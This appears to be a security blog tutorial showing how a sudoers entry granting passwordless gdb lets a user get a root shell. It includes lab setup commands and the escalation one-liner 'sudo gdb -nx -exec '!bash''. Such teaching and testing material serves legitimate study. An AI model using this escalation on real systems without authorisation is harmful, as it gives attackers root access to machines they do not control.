gdb Privilege Escalation Linux

gdb Privilege Escalation Linux sudoers file entry

GDB command in Linux with examples. gdb is the acronym for GNU Debugger. This tool helps to debug the programs written in C, C++, Ada, etc. The console can be opened using the gdb command on the terminal.

What is privilege Escalation

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.

gdb debugger lab Setup For Privilege Escalation

The purpose of a debugger such as GDB is to allow you to see what is going on “inside” another program while it executes — or what another program was doing at the moment it crashed.

our first, step is installing gdb debugger for lab setup sudoers file

sudo apt install gdb

After download, our file we see our file is which location install which command see from location gdb debugger

which gdb

Now I am editing our Linux sudoers file

sudo visudo

add our normal user sudoers file

hacker ALL=(root) NOPASSWD: /usr/bin/gdb
gdb Privilege Escalation

sudo -l to see our sudoers file user

sudo -l
gdb Privilege Escalation
  • -nx (Do not read any .gdbinit files in any directory)
  • -exec (execute a command)
  • !bash (our shell name)
sudo gdb -nx -exec '!bash'
!bash
id
gdb Privilege Escalation

Docker privilege escalation here and CPU limit link

About Rahul Gehlaut

Cyber Security Researcher, CTF Player. Tech Blog Writer.

View all posts by Rahul Gehlaut →